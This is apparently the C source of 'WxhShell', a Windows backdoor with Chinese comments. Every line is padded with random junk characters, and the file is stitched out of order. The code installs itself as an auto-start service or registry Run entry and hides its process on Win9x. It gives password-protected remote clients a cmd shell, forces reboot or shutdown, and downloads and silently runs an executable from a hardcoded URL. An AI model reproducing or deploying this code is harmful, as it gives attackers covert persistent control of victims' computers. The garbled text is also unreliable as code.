    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *b. >  
    if(Boot(SHUTDOWN)) UgC65O2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i#`q<+/q  
    else { Xi98:0<=  
    closesocket(wsh); j,+]tHC-  
    ExitThread(0); | :-i[G?n  
    } Wjw ,LwB  
    break; j fY7ich  
    } 5o dT\>Sn  
  // 获取shell E>|X'I?r^  
  case 's': { wgS,U }/i  
    CmdShell(wsh); Q,&Li+u|  
    closesocket(wsh); gVOAB-nw  
    ExitThread(0); *{DTxEy  
    break; <ukBAux,D  
  } J{1H$[W~}  
  // 退出 GBbnR:hM  
  case 'x': { :-46"bP.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3 c=kYcj  
    CloseIt(wsh); (?na|yd  
    break; |h\7Q1,1~2  
    } S%i^`_=Q  
  // 离开 m0"K^p  
  case 'q': { J, 9NVw$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qUkM No3  
    closesocket(wsh); Hsf::K x  
    WSACleanup(); .:r~?$(  
    exit(1); _qxI9Q}<"  
    break; ) CP  
        } }'$PYAf6  
  } 4N,mcV  
  } R-13DVK  
O,Q.-  
  // 提示信息 ::|~tLFu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6}"c4 ^k6  
} 1`&`y%c?B  
  } Wh)D_  
!*N9PUM  
  return; s<9g3Gh  
} P=QxfX0B  
*VZ|Idp  
// shell模块句柄 +WH\,E  
int CmdShell(SOCKET sock) Iux3f+H  
{   Q.g/  
STARTUPINFO si; .,bpFcQ  
ZeroMemory(&si,sizeof(si)); HEF e?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FZr/trP~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v`HE R6  
PROCESS_INFORMATION ProcessInfo;  ?Y(  
char cmdline[]="cmd"; 2B ]q1>a!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #Iw(+%D  
  return 0; $9)os7H7  
} C0wtMD:G  
q&3 ;e4  
// 自身启动模式 53HA6:Q[  
int StartFromService(void) >t+U`6xK  
{ r;#"j%z  
typedef struct QNj]wm=mp  
{ #,%bW[L<N  
  DWORD ExitStatus; ^#9385  
  DWORD PebBaseAddress; 1 /. BP  
  DWORD AffinityMask; =&}@GsXdo  
  DWORD BasePriority; U\KMeaF5e-  
  ULONG UniqueProcessId; XUqorE  
  ULONG InheritedFromUniqueProcessId; m=dNJF  
}   PROCESS_BASIC_INFORMATION; ;8sL  
R'>!1\?Iq  
PROCNTQSIP NtQueryInformationProcess; FlqGexY5  
I Dohv[#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6_CP?X+T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?Nos;_/  
y>I2}P  
  HANDLE             hProcess; n5:uG'L\  
  PROCESS_BASIC_INFORMATION pbi; 82r8K|L.<y  
LOh2eZ"n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7EJ2 On  
  if(NULL == hInst ) return 0; u,^CFws_  
!nvwRQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (Ou%0 KW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0U '"@A \  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZT0\V ]!B  
NkZG   
  if (!NtQueryInformationProcess) return 0; ]}2)U  
acd[rjeT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Abc{<4 z0?  
  if(!hProcess) return 0; kK6O ZhLH  
F.9}jd{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oaIk1U;g  
7sot?gF  
  CloseHandle(hProcess); ){^J8]b7#  
HIg2y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eg0_ <  
if(hProcess==NULL) return 0; 8&<mg;H,  
`m,4#P-kj  
HMODULE hMod; >)>f~>  
char procName[255]; -F5B Jk  
unsigned long cbNeeded; b8mH.g&l  
J'44j;5&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -ng1RA>  
':*H#}Br-#  
  CloseHandle(hProcess); d"wA"*8~y  
I/E9:  
if(strstr(procName,"services")) return 1; // 以服务启动 TW|K.t@5#H  
m1$tf ^  
  return 0; // 注册表启动 o Pe|Gfv\G  
}  X\^nV  
bo0U  
// 主模块 JEUU~L;  
int StartWxhshell(LPSTR lpCmdLine) %a%xUce&-X  
{ waMF~#PJlt  
  SOCKET wsl; U4D7@KY +m  
BOOL val=TRUE; 4G&`&fff]  
  int port=0; fzsy<Vl",  
  struct sockaddr_in door; Ailq,  c  
zsL@0]e&  
  if(wscfg.ws_autoins) Install(); Lqgrt]L_"  
c(Q@5@1y:  
port=atoi(lpCmdLine); }b_Ob  
\}Q=q$)  
if(port<=0) port=wscfg.ws_port; 09kR2(nsW/  
ImXYI7PL  
  WSADATA data; U]PB)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?f?5Kye  
*`>BOl+ro  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (r|m&/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t G_4>-Y#w  
  door.sin_family = AF_INET; IJ^~,+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (_FU3ZW!  
  door.sin_port = htons(port); #g{R+#fm  
=?5)M_6)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K%q5:9m  
closesocket(wsl); ,54z9F`  
return 1; Ss[[V(-  
} \|=6<ZY:  
;;0'BdsL`  
  if(listen(wsl,2) == INVALID_SOCKET) { ;aQ`` B  
closesocket(wsl); sz9W}&(j  
return 1; X^\D"fmE.  
} " U\RN  
  Wxhshell(wsl); adLL7  
  WSACleanup(); gAAC>{Wh  
/7}pReUj  
return 0; ]]j^  
Fp\;j\pfw  
} 8(1*,CJQg  
/U;j-m&   
// 以NT服务方式启动 eiMP:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I~4z%UG  
{ ,L ig6Z`  
DWORD   status = 0; k]m ~DVS  
  DWORD   specificError = 0xfffffff; o=rR^Z$G   
$DHE%IN`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Sn nfU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LG[N\%<!H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [qc1 V%g  
  serviceStatus.dwWin32ExitCode     = 0; }UPC~kC+Z  
  serviceStatus.dwServiceSpecificExitCode = 0; H^d?(Svh  
  serviceStatus.dwCheckPoint       = 0; #pvq9fss,}  
  serviceStatus.dwWaitHint       = 0; C19N0=  
6KddHyFz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x,gk]Cf  
  if (hServiceStatusHandle==0) return; _vTr?jjfK  
N@d~gE&^  
status = GetLastError(); *w0!C:mL&  
  if (status!=NO_ERROR) `2f/4]fY  
{ V0;"Qa@q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '{ <RX  
    serviceStatus.dwCheckPoint       = 0; lOm01&^"E  
    serviceStatus.dwWaitHint       = 0; u@Hz7Q} P  
    serviceStatus.dwWin32ExitCode     = status; 7 yE\,  
    serviceStatus.dwServiceSpecificExitCode = specificError; 505c(+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }O\IF}X  
    return; +La2-I  
  } \c2x udU  
hO"!q;<eS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MT!Y!*-5  
  serviceStatus.dwCheckPoint       = 0; "z9C@T  
  serviceStatus.dwWaitHint       = 0; TtkHMPlm_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2"D4q(@  
}  \ ca<L  
5aaM;45C  
// 处理NT服务事件,比如:启动、停止 jSjC43lh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6Z|h>H5 a  
{ l`"?K D  
switch(fdwControl) &g;!n&d zP  
{  E0!d c  
case SERVICE_CONTROL_STOP: v>keZZOs  
  serviceStatus.dwWin32ExitCode = 0; +zh\W9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y"lEMY  
  serviceStatus.dwCheckPoint   = 0; '~Y@HRVL@|  
  serviceStatus.dwWaitHint     = 0; tK;xW  
  { LDQ,SS,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u\ _yjv#  
  } x$q}lJv_  
  return; SnG(/1C8  
case SERVICE_CONTROL_PAUSE: Hs)Cf)8u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -J3~j kf  
  break; \-yI dKj  
case SERVICE_CONTROL_CONTINUE: y'm!h?8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lpXGsK H2  
  break; 4'z)J1M  
case SERVICE_CONTROL_INTERROGATE: i.^ytbH  
  break; =803rNe  
}; m[eqTh4*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &{e ]S!D  
} oMN<jAU.  
Ry >y  
// 标准应用程序主函数 F `7 v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ( unmf,y  
{ 36Lkcda[  
Bf*>q*%B{  
// 获取操作系统版本 Nf([JP% 4  
OsIsNt=GetOsVer(); !'H$08Ql}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l_}d Q&R  
HThZ4Kg+  
  // 从命令行安装 G:1d6[Q5{  
  if(strpbrk(lpCmdLine,"iI")) Install(); @dv8 F "v  
_Z(t**Zh6y  
  // 下载执行文件 2]vTedSOl  
if(wscfg.ws_downexe) { &IN%2c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kBZ1)?   
  WinExec(wscfg.ws_filenam,SW_HIDE); 2 `>a(  
} YH\9Je%jx  
Os<E7l zqO  
if(!OsIsNt) { b=r3WkB6  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~1+6gG  
HideProc(); 3q73L<f  
StartWxhshell(lpCmdLine); N[@H107`  
} Nbr$G=U  
else mcQL>7ts  
  if(StartFromService()) ES4Wtc)&  
  // 以服务方式启动 dJgLS^1E  
  StartServiceCtrlDispatcher(DispatchTable); e4` L8  
else #VrIU8Q7'  
  // 普通方式启动 |BFzTz,o  
  StartWxhshell(lpCmdLine); N#l2wT  
gl+d0<R zw  
return 0; qA GjR!=^  
} O?X[&t  
uj6'T Sl  
]^C 8Oh<  
bq ED5;d'#  
=========================================== wNHn.  
zzZ EX  
&MSU<S?1  
{[2o  
."+lij=56  
Z8 v8@Y  
" MOD&3>NI  
r""rJzFz'  
#include <stdio.h> lfj5?y  
#include <string.h> ,Iyc0  
#include <windows.h> uHI(-!O  
#include <winsock2.h> e\C-a4[C8P  
#include <winsvc.h> x{:U$[_  
#include <urlmon.h> [8 Pt$5]^  
kxhsDD$@p  
#pragma comment (lib, "Ws2_32.lib") ^^V3nT2rR3  
#pragma comment (lib, "urlmon.lib") Y2DL%'K^  
C*2%Ix18+N  
#define MAX_USER   100 // 最大客户端连接数 E /H%q|q  
#define BUF_SOCK   200 // sock buffer NTt4sWP!I  
#define KEY_BUFF   255 // 输入 buffer 4 "2%mx:  
m~&  
#define REBOOT     0   // 重启 Qbv@}[f  
#define SHUTDOWN   1   // 关机 *5PQ>d G  
} [#8>T  
#define DEF_PORT   5000 // 监听端口 hq7f"`  
]W?cy  
#define REG_LEN     16   // 注册表键长度 U(f@zGV  
#define SVC_LEN     80   // NT服务名长度 9Rk(q4.OP  
;$iT]S  
// 从dll定义API QDn_`c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L"'=[O~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Tm`@5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4C`RxQJM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o:#jvi84F  
[k$GUU,jY  
// wxhshell配置信息 0HWSdf|w  
struct WSCFG { pl>b 6 |  
  int ws_port;         // 监听端口 oSrA4g  
  char ws_passstr[REG_LEN]; // 口令 zh2<!MH  
  int ws_autoins;       // 安装标记, 1=yes 0=no $}(Z]z}O;  
  char ws_regname[REG_LEN]; // 注册表键名 t#.}0Te7  
  char ws_svcname[REG_LEN]; // 服务名 eA1g}ipm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9\Gk)0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +~V_^-JG&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W%+02_/)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J~K O#`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FC+-|1?C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]lA}5  
uM$b/3%s  
}; M<Bo<,!ua  
r#WqXh_uk  
// default Wxhshell configuration P1OYS\  
struct WSCFG wscfg={DEF_PORT, )s>|;K{  
    "xuhuanlingzhe", 'ij+MU 1  
    1, )vq}$W!:9  
    "Wxhshell", 0i}.l\  
    "Wxhshell", Mc c%&j  
            "WxhShell Service", .*N,x(V  
    "Wrsky Windows CmdShell Service", N|mggz  
    "Please Input Your Password: ", aO$0[-A  
  1, imADjBR]  
  "http://www.wrsky.com/wxhshell.exe", qf K gNZ  
  "Wxhshell.exe" 2XyyU}.$  
    }; Jhj ]`$J  
;LgMi5dN  
// 消息定义模块 k @fxs]Y_L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .?#Q(eLj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yx#!2Z0hw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +9LzDH  
char *msg_ws_ext="\n\rExit."; rui 8x4c  
char *msg_ws_end="\n\rQuit."; &u9,|n]O9  
char *msg_ws_boot="\n\rReboot..."; R1hmJ  
char *msg_ws_poff="\n\rShutdown..."; \=RV?mI3?  
char *msg_ws_down="\n\rSave to "; ih("`//nP  
-ik$<>{X  
char *msg_ws_err="\n\rErr!"; E @r &K  
char *msg_ws_ok="\n\rOK!"; (Qw>P42J  
6GAEQ]  
char ExeFile[MAX_PATH]; ]hlQU%&  
int nUser = 0; %a8e_  
HANDLE handles[MAX_USER]; fvta<  
int OsIsNt; ?pQ0* O0  
zBca$Vp  
SERVICE_STATUS       serviceStatus; V,Bol(wY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yEB#*}K?  
0f_`;{  
// 函数声明 ;<o?JM  
int Install(void); j7Zv"Vq@  
int Uninstall(void); wtL=^  
int DownloadFile(char *sURL, SOCKET wsh); ?1|\(W#  
int Boot(int flag); 0WZd$  
void HideProc(void); J10/pS  
int GetOsVer(void); ~mHrgxQ-  
int Wxhshell(SOCKET wsl); U |eh  
void TalkWithClient(void *cs); Kl?C[  
int CmdShell(SOCKET sock); ME>Sh~C\  
int StartFromService(void); `)8S Ix  
int StartWxhshell(LPSTR lpCmdLine); ?]*"S{Cqv  
.LM|@OeaD!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u>] )q7s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mDt!b6N/  
Dm?:j9o]g  
// 数据结构和表定义 N3Q .4? z9  
SERVICE_TABLE_ENTRY DispatchTable[] = .i;?8?  
{ Bs '=YK$  
{wscfg.ws_svcname, NTServiceMain}, O<AGAD  
{NULL, NULL} 7^!iGhI]r  
}; :v45Ls4J  
~4#D G^5  
// 自我安装 ]l=CiG4!M  
int Install(void) P=P']\`p+  
{ lkp$rJ#6  
  char svExeFile[MAX_PATH]; 6h) &h1Yd  
  HKEY key; hVz]' ,  
  strcpy(svExeFile,ExeFile); y(a>Y! dgU  
8B "^}y\0  
// 如果是win9x系统,修改注册表设为自启动 b'4}=Xpn  
if(!OsIsNt) { svt3gkR0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6\UIp#X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I !lR 7%  
  RegCloseKey(key); Q7zpu/5?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1=X1<@*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4UPxV"H  
  RegCloseKey(key); |g !$TUS.  
  return 0; g^#,!e  
    } Gy6x.GX  
  } WXf[W  
} szqR1A  
else { [_KOU2  
pOB<Bx5t  
// 如果是NT以上系统,安装为系统服务 &tiJ=;R1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n b*`GE  
if (schSCManager!=0) yYTOp^  
{ ]Ee$ulJ02  
  SC_HANDLE schService = CreateService 05jjLM'e  
  ( tQ.H/;  
  schSCManager, fCX8s(|F  
  wscfg.ws_svcname, ~?iQnQYI  
  wscfg.ws_svcdisp, Uu Zjf9}  
  SERVICE_ALL_ACCESS, 8RVRfy,w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0hXx31JN N  
  SERVICE_AUTO_START, LXth-j=]  
  SERVICE_ERROR_NORMAL, 3".#nN  
  svExeFile, S`TQWWQo;  
  NULL, IF6-VFY:6  
  NULL, 4`o<e)c3  
  NULL, :/"5x  
  NULL,  niyxZ<Z  
  NULL Q^xk]~G$(  
  ); d*U<Ww^q  
  if (schService!=0) XBcbLF  
  { CHCT e  
  CloseServiceHandle(schService); {#pw rWG  
  CloseServiceHandle(schSCManager); 8WKY 4nkj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j0{Qy;wP )  
  strcat(svExeFile,wscfg.ws_svcname); r'o378]=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I;G(Wj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `9T5Dem|#  
  RegCloseKey(key); xm=$D6O:  
  return 0; )NqRu+j  
    } i;juwc^n}  
  } `'pAiu  
  CloseServiceHandle(schSCManager); *!dA/sid  
} W|s" ;EAM  
} eYu0")  
ekmWYQ ~  
return 1; BP\6N%HC%&  
} Fw}|c  
$>+g)  
// 自我卸载 N\rL ~4/  
int Uninstall(void) M0 KU}h  
{ k;qWiYMV  
  HKEY key; =([4pG  
B$ho g_=s  
if(!OsIsNt) { C46jVl   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,]Xn9 W  
  RegDeleteValue(key,wscfg.ws_regname); 8yH)9#>  
  RegCloseKey(key); $~%h4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k*Aee7  
  RegDeleteValue(key,wscfg.ws_regname); pmO0/ty  
  RegCloseKey(key); "7j E&I  
  return 0; H/={RuU  
  } XGjFb4Tw7  
} K CH`=lX  
} TNK1E  
else { (Q8r2*L  
8lA,3'z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ki&a"Fu3  
if (schSCManager!=0) 5OX[)Li  
{ k1s5cg=n(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4%I[.dBnM  
  if (schService!=0) j['B9vG  
  { #3'M>SaoH  
  if(DeleteService(schService)!=0) { A r>BL2@  
  CloseServiceHandle(schService); g#cet{>  
  CloseServiceHandle(schSCManager); ^Xu4N"@  
  return 0; !]RSG^%s{  
  } s{j A!T}  
  CloseServiceHandle(schService); 5Z6MQ`(k  
  } (oG.A  
  CloseServiceHandle(schSCManager); 49c-`[d L  
} WIpV'F|t]`  
} 8F@Sy,D  
DH.UJ +  
return 1; l=(( >^i  
} M]/DKo  
=;b3i1'U  
// 从指定url下载文件 ~131|e`C  
int DownloadFile(char *sURL, SOCKET wsh) UT9u?  
{ s f->8  
  HRESULT hr; R^ P>yk8  
char seps[]= "/"; As`=K$^Il.  
char *token; `(=Kp=b  
char *file; $CX3P)% `  
char myURL[MAX_PATH]; r@bh,U$  
char myFILE[MAX_PATH]; Kfr1k  
\g h |G  
strcpy(myURL,sURL); Im@OAR4,R  
  token=strtok(myURL,seps); uoeZb=<  
  while(token!=NULL) <c:H u{D  
  { 2lOUNxQ$  
    file=token; ( }Bb=~  
  token=strtok(NULL,seps); x\f~Gtt7Y  
  } o[fg:/5)A  
G9yK/g&q  
GetCurrentDirectory(MAX_PATH,myFILE); Jww#zEK  
strcat(myFILE, "\\"); #8yo9g6  
strcat(myFILE, file); +A)> zx  
  send(wsh,myFILE,strlen(myFILE),0); y_=y%  
send(wsh,"...",3,0); aekke//y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N&?V=X  
  if(hr==S_OK) J ou*e%  
return 0; r~ 2*'zB  
else $sE=[j'v  
return 1; ZH9Fs'c=  
kP ,8[r  
} vZ"gCf3#?3  
p?,<{mAe  
// 系统电源模块 /UK]lP^w]!  
int Boot(int flag) emK*g<]  
{ z+{qQ!  
  HANDLE hToken; ^MF 2Q+  
  TOKEN_PRIVILEGES tkp; tZz%x?3G  
j&'6|s{  
  if(OsIsNt) { '5De1K.\`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HbsNF~;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jYRSV7d  
    tkp.PrivilegeCount = 1; \&;y:4&l8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \\#D!q*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \GxqE8  
if(flag==REBOOT) { "g&f:[a/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _#:7S sJ  
  return 0; PENB5+1OK  
} GyN|beou  
else { 76 )"uqv1x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qpYgTn8l7  
  return 0; 0P9\;!Y  
} fJc(  
  } R P<M  
  else { H/x0'  
if(flag==REBOOT) { |<,qnf | -  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [07E-TT2U  
  return 0; }%/mPbd#  
} _uMG?Sbx  
else { 1LRP R@b^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Yz_}*  
  return 0; *af\U3kx  
} N wk  
} D5P-$1KPt  
=JzzrM|V*  
return 1; .eD&UQ  
} xOj#%;  
(l{8Ix s  
// win9x进程隐藏模块 Yp;Z+!!UZ  
void HideProc(void) w!6{{m  
{ xz!0BG  
7CH&n4v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %"Um8`]FVg  
  if ( hKernel != NULL )  g]?pY  
  { X1.-C@o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k4LrUd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~iH a^i?2*  
    FreeLibrary(hKernel); ,W)DQwAg  
  } > UZ-['H  
!\R5/-_UU  
return; SqPqL<,e  
} $J4\jIipL  
uK"  T~  
// 获取操作系统版本 :k1?I'q%  
int GetOsVer(void) h#r~2\q4ei  
{ erEB4q+ #O  
  OSVERSIONINFO winfo; >o1dc*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d9v66mpJM  
  GetVersionEx(&winfo); |hika`35K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P-4$Qksx  
  return 1; h6D4CT  
  else EO)JMV?6  
  return 0; ({t^/b*8  
} K^fs #7  
zBy} >Jx  
// 客户端句柄模块 j_so s%-  
int Wxhshell(SOCKET wsl) #G]IEO$M6  
{ ;99oJD,  
  SOCKET wsh; Qpmq@iL  
  struct sockaddr_in client; hE(R[hc  
  DWORD myID; '/8/M{`s  
 aO<7a 6  
  while(nUser<MAX_USER) iuY,E  
{ ,.9lz  
  int nSize=sizeof(client); )v;O2z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r=n{3o+  
  if(wsh==INVALID_SOCKET) return 1; wx3_?8z/O  
<Tgy$Hm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /";tkad^  
if(handles[nUser]==0) ~_EDJp1J  
  closesocket(wsh); *zPqXtw!j  
else sr;&/l#7h  
  nUser++; -yqgs>R(d  
  } Qz|T0\=V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0R)x"4Ww  
HZ'rM5Kq  
  return 0; Yt#; +*d5  
} 0V<kpC,4  
9DA |;|  
// 关闭 socket M99ku'  
void CloseIt(SOCKET wsh) 6m?<"y8]  
{ XF(D%ygeC  
closesocket(wsh);  =Iop  
nUser--; |-V:#1wR.]  
ExitThread(0); &233QRYM  
} M6p\QKi  
L@H^?1*L?  
// 客户端请求句柄 jaEe$2F2  
void TalkWithClient(void *cs) bI ;I<Qa  
{ MBt\"b#t  
&'fER-  
  SOCKET wsh=(SOCKET)cs; pSlc (M>  
  char pwd[SVC_LEN]; Y_[7q<L  
  char cmd[KEY_BUFF]; `r SOt *<  
char chr[1]; yq ;[1O_9C  
int i,j; Fqw4XR_`~  
e7GYz7  
  while (nUser < MAX_USER) { rB".!b  
PI*@.kqR-  
if(wscfg.ws_passstr) {  'l5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HU>>\t?d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -6DRX  
  //ZeroMemory(pwd,KEY_BUFF); `$> Y  
      i=0; cS%dTrfo  
  while(i<SVC_LEN) { < ?B3^z$  
hdw.S`~}%  
  // 设置超时 #l}Fk)dj  
  fd_set FdRead; l jK?2z>  
  struct timeval TimeOut; W2X`%Tx0  
  FD_ZERO(&FdRead); "Y<;R+z  
  FD_SET(wsh,&FdRead); qj~=qV0p  
  TimeOut.tv_sec=8; OS#aYER~/  
  TimeOut.tv_usec=0; >G|RVB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F6sQeU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y\_+,G0  
FcM)v"bF&]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1?&|V1vc  
  pwd=chr[0]; gra6&&^"  
  if(chr[0]==0xd || chr[0]==0xa) { ;j1 SSHZ  
  pwd=0; ;av!fK  
  break; Dc0=gq0  
  } ZXs,TaU  
  i++; 3]vVuQK.  
    } `C: 7 N=9  
D'!JV1Q  
  // 如果是非法用户,关闭 socket z"mVE T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \ 86 g y/  
} 8:& ! F`o  
:dW\Q&iW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LA;f,CQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2!-Q!c`y  
c #{|sR5  
while(1) { 0M;g&&mF  
>s/_B//[  
  ZeroMemory(cmd,KEY_BUFF); [;ZCq!)>  
s]99'Q",  
      // 自动支持客户端 telnet标准   @H`jDaB 9  
  j=0; ZX&e,X~V  
  while(j<KEY_BUFF) { pZS]i "  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^|Z'}p|&  
  cmd[j]=chr[0]; a&JY x  
  if(chr[0]==0xa || chr[0]==0xd) { dUa>XkPa\2  
  cmd[j]=0; /g>-s&w  
  break; y%vAEQ2j=  
  } q`p0ul,n  
  j++; )] q Qgc&  
    } @@*x/"GJG  
E\D,=|Mul  
  // 下载文件 n`Z}tQ%)o  
  if(strstr(cmd,"http://")) { (!fx5&F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \Ebh6SRp\  
  if(DownloadFile(cmd,wsh)) -}<Ru)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a%c <3'  
  else T`@brL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ykbfK$j z  
  } #"-_~  
  else { KH#z =_  
5nib<B%<V  
    switch(cmd[0]) { ;!f~  
  _5S0A0  
